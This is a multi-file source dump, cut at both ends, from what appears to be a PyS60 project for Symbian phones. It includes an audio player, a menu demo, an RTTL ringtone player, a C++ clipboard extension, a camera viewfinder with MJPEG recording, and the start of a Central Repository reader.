| appuifw2.app.exit_key_handler=self.exqt 20 | 21 | def state(self): 22 | #self.allmark=[UiPosition,CurrentSoundPosition,SoundPath,SoundName] 23 | if self.allmark[2]!=None and os.path.isfile(self.allmark[2]): 24 | self.AuMain.set_current(self.allmark[0]) 25 | self.isvalidfile(self.allmark[2],self.allmark[3],self.allmark[0],self.allmark[1]) 26 | else:self.nextitem() 27 | 28 | def select_playing(self): 29 | pos=self.AuMain.current() 30 | index=self.AuMain.current_item() 31 | navi_title=index.title 32 | path=index.soundpath 33 | if path.lower()==self.allmark[2].lower(): 34 | if not self.isvalidsobj(): 35 | self.isvalidfile(path,navi_title,uipos=pos,manual=True) 36 | elif self.isvalidsobj() is 1: 37 | self.soundobj.set_position(self.soundposition) 38 | self.soundobj.play() 39 | appuifw2.app.title=u"Playing:" 40 | elif self.isvalidsobj() is 2: 41 | self.soundposition=self.soundobj.current_position() 42 | self.soundobj.stop() 43 | self.changedata([(1,self.soundposition)]) 44 | appuifw2.app.title=u"Pause:" 45 | else: 46 | self.isvalidfile(path,navi_title,uipos=pos,manual=True) 47 | 48 | def isvalidfile(self,path,navi_title,uipos=0,soundposition=0L,manual=False): 49 | try: 50 | if manual: 51 | self.backupobj=audio.Sound.open(path) 52 | else: 53 | self.soundobj=audio.Sound.open(path) 54 | except: 55 | appuifw2.note(u"file corrupt,or file not exists!","error") 56 | return 57 | self.continuework(path,navi_title,uipos,soundposition,manual) 58 | 59 | def close(self): 60 | try: 61 | self.soundobj.close() 62 | except:self.soundobj=None 63 | 64 | def isvalidsobj(self): 65 | try: 66 | return self.soundobj.state() 67 | except:return False 68 | 69 | def nextitem(self): 70 | if self.allmark[0]>=self.amount-1: 71 | pos=0 72 | else:pos=self.allmark[0]+1 73 | self.AuMain.set_current(pos) 74 | index=self.AuMain.current_item() 75 | self.isvalidfile(path=index.soundpath,navi_title=index.title,uipos=pos) 76 | 77 | def callselect(self,state,current,error): 78 | if state is 2: 79 | self.close() 80 | appuifw2.e32.ao_sleep(0,self.nextitem) 81 | pass 82 | 83 | def continuework(self,path,navi_title,uipos,soundposition,manual): 84 | if manual: 85 | self.close() 86 | self.soundobj=self.backupobj;del self.backupobj 87 | if soundposition: 88 | self.soundobj.set_position(soundposition) 89 | try: 90 | self.soundobj.set_volume(1) 91 | self.soundobj.play(callback=self.callselect) 92 | except: 93 | appuifw2.note(u"file corrupt!","error") 94 | return 95 | appuifw2.app.title=u"Playing:" 96 | appuifw2.app.navi_text=u"%s"%navi_title[:22] 97 | self.changedata([(0,uipos),(1,soundposition),(2,path),(3,navi_title)]) 98 | 99 | def changedata(self,ar): 100 | for key,value in ar: 101 | self.allmark[key]=value 102 | open(self.name,"w").write("%s"%self.allmark) 103 | 104 | def exqt(self): 105 | if self.isvalidsobj(): 106 | self.changedata([(1,self.soundobj.current_position())]) 107 | self.close() 108 | appuifw2.app.set_exit() 109 | 110 | if __name__=="__main__": 111 | sounds=classsounds() 112 | appuifw2.e32.ao_sleep(0,sounds.state) 113 | del sounds -------------------------------------------------------------------------------- /menu.py: -------------------------------------------------------------------------------- 1 | import appuifw2 as aw 2 | import sys 3 | aw.e32.ao_yield() 4 | sys.path.append('e:\\') 5 | sys.path.append('c:\\') 6 | import windows_menu 7 | 8 | def ru(text): 9 | return text.decode('utf-8') 10 | #------------------------- 11 | # function for an example of the menu: 12 | 13 | aw.app.body = body = aw.Text() 14 | body.font = 'normal' 15 | body.focus = False 16 | 17 | def func(t='function is called with no arguments'): 18 | body.set(ru(t)) 19 | aw.app.exit_key_handler = exit 20 | #------------------------- 21 | # the most important: 22 | 23 | def menu(): 24 | # tab within the tab: 25 | sub_sub_items = ((u'sub_sub_item', func), (u'sub_sub_item', func), (u'sub_sub_item', func), (u'sub_sub_item', func, 'function argument is passed')) # a tuple of tuples of the form: (name of the item, the function [, list of arguments]) 26 | 27 | # tab: 28 | sub_items = ((u'subitem', '2', sub_sub_items), (u'subitem', func), (u'subitem', func), (u'subitem', func, 'function argument is passed')) 29 | # a tuple of tuples of the form: (name of the item, the function [, list of arguments]) 30 | # but if you make a tab, then the tuple: (name of the item, '2 ', array subtab (see above)) 31 | #where '2 '- a flag indicating that there will be subtab 32 | 33 | # main window: 34 | main_items = ((u'main_item', func), (u'main_item', '1', sub_items), (u'main_item', func), (u'main_item', func), (u'main_item', func), (u'main_item', func, 'function argument is passed')) 35 | # a tuple of tuples of the form: (name of the item, the function [, list of arguments]) 36 | # but if you make a tab, then the tuple: (name of the item, '1 ', the array tab (see above)) 37 | # where '1 '- a flag indicating that there will be tab 38 | #------------------------- 39 | 40 | global wm 41 | wm = windows_menu.Windows_menu(main_items, ru('Options:')) # an optional second argument - the title of the main window by default 'Menu:' 42 | #------------------------- 43 | # optional attributes: 44 | wm.shadow = 3 # shadow 45 | 46 | # wm.x_pos = 5 # X coordinate of the upper-left corner of the main window 47 | # wm.y_pos = 5 # Y coordinate of the upper-left corner of the main window 48 | # wm.x_pos_add1 = 15 # X coordinate of the upper-left corner of the tab 49 | # wm.y_pos_add1 = 15 # Y coordinate of the upper-left corner of the tab 50 | # wm.x_pos_add2 = 25 # X coordinate of the upper left corner of the subtab 51 | # wm.y_pos_add2 = 25 # Y coordinate of the upper-left corner of the subtab 52 | 53 | # wm.width = 120 # width of the main window 54 | # wm.width_add1 = 100 # width of the window 55 | # wm.width_add2 = 100 # width of the window of the second tab 56 | 57 | wm.color_background = 0xeeeeee # background color of the main window 58 | wm.color_background_add1 = 0xeeeeee # the background color of the windows of the first tab 59 | wm.color_background_add2 = 0xeeeeee # the background color of the windows of the second tab 60 | 61 | wm.color_background_upper = 0x555555 # the background color of the title 62 | 63 | wm.color_cursor = 0x880000 # the color of the cursor of the main window 64 | wm.color_cursor_add1 = 0x0000ff # the color of the cursor box first tab 65 | wm.color_cursor_add2 = 0xff00ff # the color of the cursor window of the second tab 66 | wm.color_text = 0 # color of the text of the main window out cursor 67 | wm.color_text_cursor = 0xffffff # color of the text cursor in the main windowе 68 | wm.color_text_add1 = 0 # color of the text box is the first tab the cursor 69 | wm.color_text_cursor_add1 = 0xffffff # color of the text box cursor in the first tab 70 | wm.color_text_add2 = 0 # color of the text window of the second tab is the cursor 71 | wm.color_text_cursor_add2 = 0xffffff # color of the text window of the second tab in the cursor 72 | 73 | wm.color_text_upper = 0xffffff # header text color 74 | #------------------------- 75 | # Initialization of all parameters: 76 | wm.initialization() 77 | 78 | menu() 79 | 80 | # hang on the key challenge of our menu; 81 | # optional argument - the sign above the right softkeys 82 | # by default 'Cancel': 83 | aw.app.menu_key_handler = lambda: wm.start_menu(ru('Cancel')) 84 | 85 | aw.app.menu=[] 86 | lock = aw.e32.Ao_lock() 87 | def exit(): 88 | wm.stop_menu() # deactivate the function menu 89 | lock.signal() 90 | aw.app.exit_key_handler = exit 91 | 92 | lock.wait() -------------------------------------------------------------------------------- /menu.pymm: -------------------------------------------------------------------------------- 1 | import appuifw2 as aw 2 | import sys 3 | aw.e32.ao_yield() 4 | sys.path.append('e:\\') 5 | sys.path.append('c:\\') 6 | import windows_menu 7 | 8 | def ru(text): 9 | return text.decode('utf-8') 10 | #------------------------- 11 | # function for an example of the menu: 12 | 13 | aw.app.body = body = aw.Text() 14 | body.font = 'normal' 15 | body.focus = False 16 | 17 | def func(t='function is called with no arguments'): 18 | body.set(ru(t)) 19 | aw.app.exit_key_handler = exit 20 | #------------------------- 21 | # the most important: 22 | 23 | def menu(): 24 | # tab within the tab: 25 | sub_sub_items = ((u'sub_sub_item', func), (u'sub_sub_item', func), (u'sub_sub_item', func), (u'sub_sub_item', func, 'function argument is passed')) # a tuple of tuples of the form: (name of the item, the function [, list of arguments]) 26 | 27 | # tab: 28 | sub_items = ((u'subitem', '2', sub_sub_items), (u'subitem', func), (u'subitem', func), (u'subitem', func, 'function argument is passed')) 29 | # a tuple of tuples of the form: (name of the item, the function [, list of arguments]) 30 | # but if you make a tab, then the tuple: (name of the item, '2 ', array subtab (see above)) 31 | #where '2 '- a flag indicating that there will be subtab 32 | 33 | # main window: 34 | main_items = ((u'main_item', func), (u'main_item', '1', sub_items), (u'main_item', func), (u'main_item', func), (u'main_item', func), (u'main_item', func, 'function argument is passed')) 35 | # a tuple of tuples of the form: (name of the item, the function [, list of arguments]) 36 | # but if you make a tab, then the tuple: (name of the item, '1 ', the array tab (see above)) 37 | # where '1 '- a flag indicating that there will be tab 38 | #------------------------- 39 | 40 | global wm 41 | wm = windows_menu.Windows_menu(main_items, ru('Options:')) # an optional second argument - the title of the main window by default 'Menu:' 42 | #------------------------- 43 | # optional attributes: 44 | wm.shadow = 3 # shadow 45 | 46 | # wm.x_pos = 5 # X coordinate of the upper-left corner of the main window 47 | # wm.y_pos = 5 # Y coordinate of the upper-left corner of the main window 48 | # wm.x_pos_add1 = 15 # X coordinate of the upper-left corner of the tab 49 | # wm.y_pos_add1 = 15 # Y coordinate of the upper-left corner of the tab 50 | # wm.x_pos_add2 = 25 # X coordinate of the upper left corner of the subtab 51 | # wm.y_pos_add2 = 25 # Y coordinate of the upper-left corner of the subtab 52 | 53 | # wm.width = 120 # width of the main window 54 | # wm.width_add1 = 100 # width of the window 55 | # wm.width_add2 = 100 # width of the window of the second tab 56 | 57 | wm.color_background = 0xeeeeee # background color of the main window 58 | wm.color_background_add1 = 0xeeeeee # the background color of the windows of the first tab 59 | wm.color_background_add2 = 0xeeeeee # the background color of the windows of the second tab 60 | 61 | wm.color_background_upper = 0x555555 # the background color of the title 62 | 63 | wm.color_cursor = 0x880000 # the color of the cursor of the main window 64 | wm.color_cursor_add1 = 0x0000ff # the color of the cursor box first tab 65 | wm.color_cursor_add2 = 0xff00ff # the color of the cursor window of the second tab 66 | wm.color_text = 0 # color of the text of the main window out cursor 67 | wm.color_text_cursor = 0xffffff # color of the text cursor in the main windowе 68 | wm.color_text_add1 = 0 # color of the text box is the first tab the cursor 69 | wm.color_text_cursor_add1 = 0xffffff # color of the text box cursor in the first tab 70 | wm.color_text_add2 = 0 # color of the text window of the second tab is the cursor 71 | wm.color_text_cursor_add2 = 0xffffff # color of the text window of the second tab in the cursor 72 | 73 | wm.color_text_upper = 0xffffff # header text color 74 | #------------------------- 75 | # Initialization of all parameters: 76 | wm.initialization() 77 | 78 | menu() 79 | 80 | # hang on the key challenge of our menu; 81 | # optional argument - the sign above the right softkeys 82 | # by default 'Cancel': 83 | aw.app.menu_key_handler = lambda: wm.start_menu(ru('Cancel')) 84 | 85 | aw.app.menu=[] 86 | lock = aw.e32.Ao_lock() 87 | def exit(): 88 | wm.stop_menu() # deactivate the function menu 89 | lock.signal() 90 | aw.app.exit_key_handler = exit 91 | 92 | lock.wait() -------------------------------------------------------------------------------- /rttl.py: -------------------------------------------------------------------------------- 1 | # http://www.pymcu.com/PlayingSounds.html 2 | # rttl.py version 1.0.1 (ported version to pyS60) 3 | # 4 | 5 | import e32 6 | import pitchy 7 | 8 | # RTTL variable to hold RTTL song 9 | #RTTL = 'Bond:d=4,o=5,b=50:32p,16c#6,32d#6,32d#6,16d#6,8d#6,16c#6,16c#6,16c#6,16c#6,32e6,32e6,16e6,8e6,16d#6,16d#6,16d#6,16c#6,32d#6,32d#6,16d#6,8d#6,16c#6,16c#6,16c#6,16c#6,32e6,32e6,16e6,8e6,16d#6,16d6,16c#6,16c#7,c.7,16g#6,16f#6,g#.6' 10 | 11 | # A Dictionary that contains the frequencies for each note 12 | noteFreq = {'p':0,'a':3520,'a#':3729,'b':3951,'c':4186,'c#':4435,'d':4699,'d#':4978,'e':5274,'f':5588,'f#':5920,'g':6272,'g#':6645} 13 | 14 | # This function will return the default Duration, Octave, and BeatsPerMinute from the RTTL data 15 | def dob(dobData): 16 | dobVals = dobData.split(',') 17 | defaultDur = int(dobVals[0].split('=')[1]) 18 | defaultOct = int(dobVals[1].split('=')[1]) 19 | defaultBeats = int(dobVals[2].split('=')[1]) 20 | return defaultDur, defaultOct, defaultBeats 21 | 22 | # This function will return the duration per note from the RTTL note data 23 | def durSplit(noteData): 24 | for d in noteData: 25 | if ord(d) >= 97 and ord(d) <= 122: 26 | durSplit = noteData.split(d) 27 | if len(durSplit[0]) > 0: 28 | return int(durSplit[0]) 29 | return 0 30 | 31 | # This function will return just the note for dictionary look up from the RTTL note data 32 | def noteSplit(noteData): 33 | note = '' 34 | hasDot = False 35 | for d in noteData: 36 | if ord(d) >= 97 and ord(d) <= 122: 37 | note += d 38 | if ord(d) == 35: 39 | note += d 40 | if ord(d) == 46: 41 | hasDot = True 42 | 43 | return note, hasDot 44 | 45 | # This function will return per note octave changes if specified in the RTTL note data 46 | def noteOctave(noteData): 47 | if noteData[len(noteData)-1] >= 53 and noteData[len(noteData)-1] <= 56: 48 | return 8 - int(noteData[len(noteData)-1]) 49 | else: 50 | return None 51 | 52 | def get_song_name(noktune): 53 | rttlParts = noktune.split(':') # Split the RTTL song data into it's 3 core parts 54 | return rttlParts[0] # Song Name 55 | 56 | def get_duration(noktune): 57 | rttlParts = noktune.split(':') # Split the RTTL song data into it's 3 core parts 58 | dobVals = (rttlParts[1]).split(',') 59 | defaultDur = int(dobVals[0].split('=')[1]) 60 | return defaultDur 61 | 62 | def get_octave(noktune): 63 | rttlParts = noktune.split(':') # Split the RTTL song data into it's 3 core parts 64 | dobVals = (rttlParts[1]).split(',') 65 | defaultOct = iint(dobVals[1].split('=')[1]) 66 | return defaultOct 67 | 68 | def get_bpm(noktune): 69 | rttlParts = noktune.split(':') # Split the RTTL song data into it's 3 core parts 70 | dobVals = (rttlParts[1]).split(',') 71 | defaultBeats = int(dobVals[2].split('=')[1]) 72 | return defaultBeats 73 | 74 | def play_noktune(noktune,vol): 75 | global noteFreq 76 | tune=[] 77 | rttlParts = noktune.split(':') # Split the RTTL song data into it's 3 core parts 78 | defaultDur, defaultOct, defaultBeats = dob(rttlParts[1]) # Get default Duration, Octave, and Beats Per Minute 79 | rttlNotes = rttlParts[2].split(',') # Split all the note data into a list 80 | 81 | for note in rttlNotes: # Iterate through the note list 82 | note = note.strip() # Strip out any possible pre or post spaces in the note data 83 | durVal = durSplit(note) # Determine the per note duration if not default 84 | 85 | if durVal == 0: # If there is no per note duration then use default for that note 86 | durVal = defaultDur 87 | 88 | duration = 60000 / defaultBeats / durVal * 3 # Calculate the proper duration based on Beats Per Minute and Duration Value 89 | noteStr, hasDot = noteSplit(note) # Get note for dictionary lookup and check if the note has a dot 90 | nFreq = noteFreq[noteStr] # Look up note frequency from the dictionary 91 | 92 | if hasDot == True: # if it has a dot calculate the new duration 93 | duration *= 3 / 2 94 | 95 | octave = noteOctave(note) # Determine if there is per note octave change 96 | 97 | if octave != None: # if so calculate the new octave frequency 98 | nFreq /= octave 99 | else: # else use the default octave frequency 100 | nFreq /= defaultOct 101 | 102 | if nFreq == 0: # if nFreq is 0 then it's a pause note so pause for the required time 103 | e32.ao_sleep(float(duration / 1000.0)) 104 | else: # else play the note from the song 105 | tune.append((nFreq,duration,vol)) 106 | 107 | pitchy.play_list(tune) 108 | 109 | #play_noktune('Bond:d=4,o=5,b=50:32p,16c#6,32d#6,32d#6,16d#6,8d#6,16c#6,16c#6,16c#6,16c#6,32e6,32e6,16e6,8e6,16d#6,16d#6,16d#6,16c#6,32d#6,32d#6,16d#6,8d#6,16c#6,16c#6,16c#6,16c#6,32e6,32e6,16e6,8e6,16d#6,16d6,16c#6,16c#7,c.7,16g#6,16f#6,g#.6',3) 110 | 111 | -------------------------------------------------------------------------------- /uclipboard.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #define MAJOR_VERSION 1 15 | #define MINOR_VERSION 0 16 | #define BUILD_VERSION 0 17 | 18 | // 19 | // uset and uget : http://symbianic-life.blogspot.be/2010/03/integrate-with-symbian-clipboard.html 20 | // changes : unicode support 21 | // text can be of arbitrary length 22 | // line delimiter can be unix or whatever 23 | // Author : Yury Schkatula 24 | // 25 | 26 | //TDesC * ReadFromClipboardL(RFs & aFs) 27 | static PyObject* uGet(PyObject* /*self*/,PyObject* /*args*/) 28 | { 29 | //TDesC *result = NULL; 30 | CClipboard *cb = CClipboard::NewForReadingLC(CCoeEnv::Static()->FsSession());//CleanupStack 31 | 32 | TStreamId stid = cb->StreamDictionary().At(KClipboardUidTypePlainText); 33 | PyObject* arg1; 34 | if (KNullStreamId != stid) 35 | { 36 | RStoreReadStream stream; 37 | stream.OpenL(cb->Store(), stid); 38 | TInt32 size ; 39 | size=stream.ReadInt32L(); 40 | 41 | HBufC *buf = HBufC::NewLC(size); 42 | buf->Des().SetLength(size); 43 | 44 | TUnicodeExpander e; 45 | TMemoryUnicodeSink sink(&buf->Des()[0]); 46 | e.ExpandL(sink, stream, size); 47 | 48 | arg1 = Py_BuildValue("u#",buf->Ptr(),buf->Length()); 49 | 50 | stream.Close(); 51 | CleanupStack::PopAndDestroy(buf); 52 | 53 | } 54 | CleanupStack::PopAndDestroy(cb); 55 | 56 | if (!arg1) 57 | // should have set an exception 58 | return NULL; 59 | return arg1; 60 | 61 | } 62 | 63 | //-------------------------------------------------------------------------- 64 | 65 | static PyObject* Get(PyObject* /*self*/,PyObject* /*args*/) 66 | { 67 | CPlainText* BPlainText = CPlainText::NewL(); 68 | CleanupStack::PushL(BPlainText); 69 | CClipboard* cb = 70 | CClipboard::NewForReadingL(CCoeEnv::Static()->FsSession()); 71 | CleanupStack::PushL(cb); 72 | cb->StreamDictionary().At(KClipboardUidTypePlainText); 73 | BPlainText->PasteFromStoreL(cb->Store(), cb->StreamDictionary(), 0); 74 | TInt len = BPlainText->DocumentLength(); 75 | 76 | HBufC* buffer=HBufC::NewLC(len) ; 77 | TPtr ptr(buffer->Des()); 78 | BPlainText->Extract(ptr,0,len); 79 | 80 | CleanupStack::PopAndDestroy(BPlainText); 81 | CleanupStack::PopAndDestroy(cb); 82 | PyObject* arg = Py_BuildValue("u#",buffer->Ptr(),len); 83 | CleanupStack::PopAndDestroy(buffer); 84 | 85 | return arg; 86 | } 87 | //-------------------------------------------------------------------------- 88 | 89 | static PyObject* uSet(PyObject* /*self*/,PyObject* args) 90 | //void WriteToClipboardL(RFs &aFs, const TDesC & aText) 91 | { 92 | PyObject* obj_text; 93 | if (!PyArg_ParseTuple(args, "U", &obj_text)) 94 | return NULL; 95 | 96 | TPtrC text((TUint16*) PyUnicode_AsUnicode(obj_text), 97 | PyUnicode_GetSize(obj_text)); 98 | 99 | 100 | CClipboard* cb=CClipboard::NewForWritingLC(CCoeEnv::Static()->FsSession()); 101 | 102 | RStoreWriteStream stream; 103 | TStreamId stid = stream.CreateLC(cb->Store()); 104 | stream.WriteInt32L(text.Length()); 105 | 106 | TUnicodeCompressor c; 107 | TMemoryUnicodeSource source(text.Ptr()); 108 | TInt bytes(0); 109 | TInt words(0); 110 | c.CompressL(stream, source, KMaxTInt, text.Length(), &bytes, &words); 111 | 112 | stream.WriteInt8L(0); // magic command! :) 113 | 114 | stream.CommitL(); 115 | cb->StreamDictionary().AssignL(KClipboardUidTypePlainText, stid); 116 | cb->CommitL(); 117 | 118 | stream.Close(); 119 | CleanupStack::PopAndDestroy(); // stream.CreateLC 120 | CleanupStack::PopAndDestroy(cb); 121 | 122 | Py_INCREF(Py_None); 123 | return Py_None; 124 | 125 | 126 | } 127 | 128 | static PyObject* Set(PyObject* /*self*/,PyObject* args) 129 | { 130 | PyObject* obj_text; 131 | if (!PyArg_ParseTuple(args, "U", &obj_text)) 132 | return NULL; 133 | 134 | TPtrC text((TUint16*) PyUnicode_AsUnicode(obj_text), 135 | PyUnicode_GetSize(obj_text)); 136 | 137 | CClipboard* cb=CClipboard::NewForWritingLC(CCoeEnv::Static()->FsSession()); 138 | cb->StreamDictionary().At(KClipboardUidTypePlainText); 139 | CPlainText* BPlainText = CPlainText::NewL(); 140 | CleanupStack::PushL(BPlainText); 141 | BPlainText->InsertL(0,text); 142 | BPlainText->CopyToStoreL(cb->Store(), cb->StreamDictionary(), 0,BPlainText->DocumentLength()); 143 | cb->CommitL(); 144 | CleanupStack::PopAndDestroy(2); 145 | 146 | 147 | Py_INCREF(Py_None); 148 | return Py_None; 149 | } 150 | 151 | 152 | 153 | 154 | //-------------------------------------------------------------------------- 155 | 156 | static const PyMethodDef met_uclipboard[] = { 157 | {"get", (PyCFunction)Get, METH_NOARGS}, 158 | {"set", (PyCFunction)Set, METH_VARARGS}, 159 | {"uset", (PyCFunction)uSet, METH_VARARGS}, 160 | {"uget", (PyCFunction)uGet, METH_NOARGS}, 161 | {0, 0} 162 | }; 163 | 164 | //-------------------------------------------------------------------------- 165 | 166 | #ifndef EKA2 167 | GLDEF_C TInt E32Dll(TDllReason) 168 | { 169 | return KErrNone; 170 | } 171 | #endif 172 | 173 | 174 | DL_EXPORT(void) MODULE_INIT_FUNC() 175 | { 176 | PyObject* module= Py_InitModule3("uclipboard",(PyMethodDef*) met_uclipboard,"uclipboard for PyS60 by cyke64@gmail.com (c) 2012 Apache 2 License"); 177 | PyObject *dict; 178 | dict = PyModule_GetDict(module); 179 | PyDict_SetItemString(dict,"version", Py_BuildValue("(iii)",MAJOR_VERSION,MINOR_VERSION,BUILD_VERSION)); 180 | 181 | 182 | if (!module) 183 | { 184 | return; 185 | } 186 | } 187 | 188 | 189 | 190 | //-------------------------------------------------------------------------- 191 | -------------------------------------------------------------------------------- /pyucam.py: -------------------------------------------------------------------------------- 1 | 2 | import appuifw, e32, camera,time as t 3 | from graphics import * 4 | 5 | SCRIPT_LOCK = e32.Ao_lock( ) 6 | end = False 7 | stopr = False 8 | stopp = False 9 | stack = [] 10 | IMG = None 11 | scapsz = None 12 | sviewsz = None 13 | 14 | def __exit__( ): 15 | global end 16 | global stopp 17 | global stopr 18 | stopp = True 19 | stopr = True 20 | end = True 21 | stop( ) 22 | SCRIPT_LOCK.signal( ) 23 | 24 | def selviewsz(): 25 | iitems = [(176,144),(320,240),(640,480)] 26 | uitems = [u'176x144',u'320x240',u'640x480'] 27 | index = appuifw.selection_list(uitems) 28 | 29 | if index == None: 30 | index = 2 31 | 32 | return iitems[index] 33 | 34 | def changeviewsz(): 35 | global sviewsz 36 | stop() 37 | sviewsz = None 38 | start() 39 | 40 | def start( ): 41 | global sviewsz 42 | 43 | if sviewsz==None: 44 | sviewsz = selviewsz() 45 | 46 | camera.start_finder( vfCallback, size=sviewsz) 47 | 48 | appuifw.app.menu = mainmenu_live 49 | 50 | def stop( ): 51 | global stopp 52 | global stopr 53 | stopp=True 54 | stopr=True 55 | camera.stop_finder( ) 56 | cnvCallback( ) 57 | appuifw.app.menu = mainmenu_stopped 58 | 59 | def vfCallback( aIm ): 60 | global stack 61 | global fps 62 | global tm2 63 | global tm 64 | global fpc 65 | global fps 66 | global IMG 67 | global img 68 | global txt_img 69 | global textrect 70 | fpc=fpc+1 71 | tm2=t.time() 72 | if(tm2-tm>=1): 73 | fps=fpc 74 | fpc=0 75 | tm = tm2 76 | if(len(stack)<60): 77 | img.blit(aIm,scale=1) 78 | appuifw.app.body.blit(img) 79 | IMG = aIm 80 | text_img.clear(0) 81 | text_img.text(((-textrect[0],-textrect[1])), 82 | unicode(str(fps)),fill=0xff0000,font='normal') 83 | appuifw.app.body.blit(text_img) 84 | stack.append(IMG) 85 | 86 | 87 | def displaytxt(txt, timg, trect): 88 | timg.text(((-trect[0],-trect[1])), 89 | unicode(txt),fill=0xff0000,font='normal') 90 | 91 | def cnvCallback( aRect=None ): 92 | appuifw.app.body.clear( ) 93 | #if IMG!=None: 94 | #img.blit(IMG,scale=1) 95 | #appuifw.app.body.blit(img) 96 | 97 | def selcapsz(): 98 | iitems = camera.image_sizes() 99 | uitems = [] 100 | for i in iitems: 101 | uitems.append(unicode(i)) 102 | index = appuifw.selection_list(uitems) 103 | 104 | if index == None: 105 | index = 0 106 | return iitems[index] 107 | 108 | def capture( ): 109 | global img2 110 | global textrect2 111 | global scapsz 112 | 113 | stop() 114 | 115 | bak = appuifw.app.title 116 | 117 | appuifw.app.menu = [(u'Exit', __exit__)] 118 | 119 | if scapsz==None: 120 | scapsz=selcapsz() 121 | 122 | img2.clear() 123 | displaytxt("capturing ...",img2, textrect2) 124 | appuifw.app.body.blit(img2) 125 | 126 | displaytxt("capturing ...",img2, textrect2) 127 | appuifw.app.body.blit(img2) 128 | 129 | IMG = camera.take_photo(size = scapsz) 130 | 131 | img2.clear() 132 | displaytxt("saving ...",img2, textrect2) 133 | appuifw.app.body.blit(img2) 134 | 135 | IMG.save(u'c:\\data\\images\\'+str(t.time())+".png",bpp=24,quality=100,compression='no') 136 | #IMG.save(u"d:\\tx.png",bpp=24,quality=100,compression='no') 137 | start() 138 | 139 | def save(): 140 | global stack 141 | global stopr 142 | global img2 143 | global textrect2 144 | stop() 145 | stopr = False 146 | appuifw.app.menu = [(u'Stop', stop)] 147 | f = open(u'd:\\out.mjpeg',mode='w') 148 | print "writing %d images to mjpeg"%len(stack) 149 | displaytxt("saving video ...", img2, textrect2) 150 | i=0 151 | tot = len(stack) 152 | f.write(str(len(stack))+"\n") 153 | while (len(stack)>0) and not stopr: 154 | aImg = stack.pop() 155 | aImg.save(u'd:\\t.jpg') 156 | f2=open(u'd:\\t.jpg',mode='r') 157 | bz = f2.read() 158 | f.write(str(len(bz))+"\n") 159 | f.write(bz) 160 | f2.close() 161 | img2.blit(aImg,scale=1) 162 | displaytxt("saving "+str(i)+"/"+str(tot),img2, textrect2) 163 | appuifw.app.body.blit(img2) 164 | i=i+1 165 | f.close() 166 | img2.blit(aImg,scale=1) 167 | displaytxt("saved video!",img2, textrect2) 168 | appuifw.app.body.blit(img2) 169 | stack=[] 170 | start() 171 | 172 | def play(): 173 | global img2 174 | global textrect2 175 | global stack 176 | global stopp 177 | 178 | f = None 179 | 180 | try: 181 | f = open(u'd:\\out.mjpeg',mode='r') 182 | except: 183 | appuifw.note(u'Save video first!', 'info') 184 | return 185 | 186 | stop() 187 | stopp = False 188 | appuifw.app.menu = [(u'Stop', stop)] 189 | 190 | images = int(f.readline()) 191 | tot = images 192 | i=0 193 | timage=None 194 | try: 195 | while (images>0) and not stopp: 196 | imagel = int(f.readline()) 197 | bz = f.read(imagel) 198 | f2=open(u'd:\\t.jpg',mode='w') 199 | f2.write(bz) 200 | f2.close() 201 | timage=Image.open(u'd:\\t.jpg') 202 | img2.blit(timage,scale=1) 203 | displaytxt("playing "+str(i)+"/"+str(tot),img2, textrect2) 204 | appuifw.app.body.blit(img2) 205 | #e32.ao_sleep(0.005) 206 | images=images-1 207 | i=i+1 208 | except: 209 | appuifw.note(u'Corrupt vbuffer', 'info') 210 | 211 | if(timage!=None): 212 | img2.blit(timage,scale=1) 213 | displaytxt("playing fin!",img2, textrect2) 214 | f.close() 215 | stack=[] 216 | appuifw.app.menu = mainmenu_play 217 | 218 | 219 | mainmenu_live = [(u'Play Video', play),(u'Save Video', save), (u'Capture HQ Image', capture), (u'Change View Size', changeviewsz)] 220 | mainmenu_stopped = [(u'Play Video', play),(u'Save Video', save),(u'Capture HQ Image', capture), (u'Live mode', start)] 221 | mainmenu_play = [(u'Replay', play),(u'Live mode', start)] 222 | 223 | appuifw.app.exit_key_handler = __exit__ 224 | appuifw.app.title= u'PyS60 ViewFinder' 225 | appuifw.app.body = appuifw.Canvas( redraw_callback = cnvCallback) 226 | start( ) 227 | fpc = 0 228 | tm = t.time() 229 | fps = 0.0 230 | sz = appuifw.app.body.size 231 | img=Image.new((sz[0],sz[1]*0.75)) 232 | #img=Image.new((160,120)) 233 | textrect=img.measure_text(u'00', font='normal')[0] 234 | text_img=Image.new((textrect[2]-textrect[0],textrect[3]-textrect[1])) 235 | 236 | img2=Image.new((sz[0],sz[1]*0.75)) 237 | textrect2=img.measure_text(u'Saving video ...', font='normal')[0] 238 | text_img2=Image.new((textrect2[2]-textrect2[0],textrect2[3]-textrect2[1])) 239 | 240 | print appuifw.available_fonts() 241 | print sz 242 | txt=u'' 243 | while (not end): 244 | if(len(stack)>30): 245 | aImg = stack.pop() 246 | #if aImg!=None: 247 | # aImg.save(u'd:\\.jpg') 248 | 249 | e32.ao_yield() 250 | 251 | camera.release() 252 | print "exiting app" 253 | SCRIPT_LOCK.wait() -------------------------------------------------------------------------------- /CentralRep.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | //static PyObject* EmulKey(PyObject* , PyObject *args) 9 | //{ 10 | // TInt integr=-1; 11 | // PyArg_ParseTuple(args,"i",&integr); 12 | // TRawEvent lEvent; 13 | // lEvent.Set(TRawEvent::EKeyDown, integr); 14 | // UserSvr::AddEvent(lEvent); 15 | // lEvent.Set(TRawEvent::EKeyUp, integr); 16 | // UserSvr::AddEvent(lEvent); 17 | // return Py_None; 18 | //} 19 | 20 | static PyObject* Get_Int(PyObject* , PyObject *args) 21 | { 22 | TUint address; 23 | TUint parameter; 24 | TInt integr=-1; 25 | 26 | PyArg_ParseTuple(args,"II",&address,¶meter); 27 | TUid uid= TUid::Uid(address); 28 | CRepository* rep = CRepository::NewLC(uid); 29 | TInt res = rep->Get(parameter, integr); 30 | CleanupStack::PopAndDestroy(rep); 31 | if (res == KErrNone) 32 | return Py_BuildValue("i",integr); 33 | else 34 | return Py_BuildValue("i",res); 35 | } 36 | 37 | 38 | static PyObject* Get_Str(PyObject* , PyObject *args) 39 | { 40 | TUint address; 41 | TUint parameter; 42 | TBuf<255> gstring; 43 | PyArg_ParseTuple(args,"II",&address,¶meter); 44 | TUid uid= TUid::Uid(address); 45 | CRepository* rep = CRepository::NewLC(uid); 46 | TInt res = rep->Get(parameter, gstring); 47 | CleanupStack::PopAndDestroy(rep); 48 | 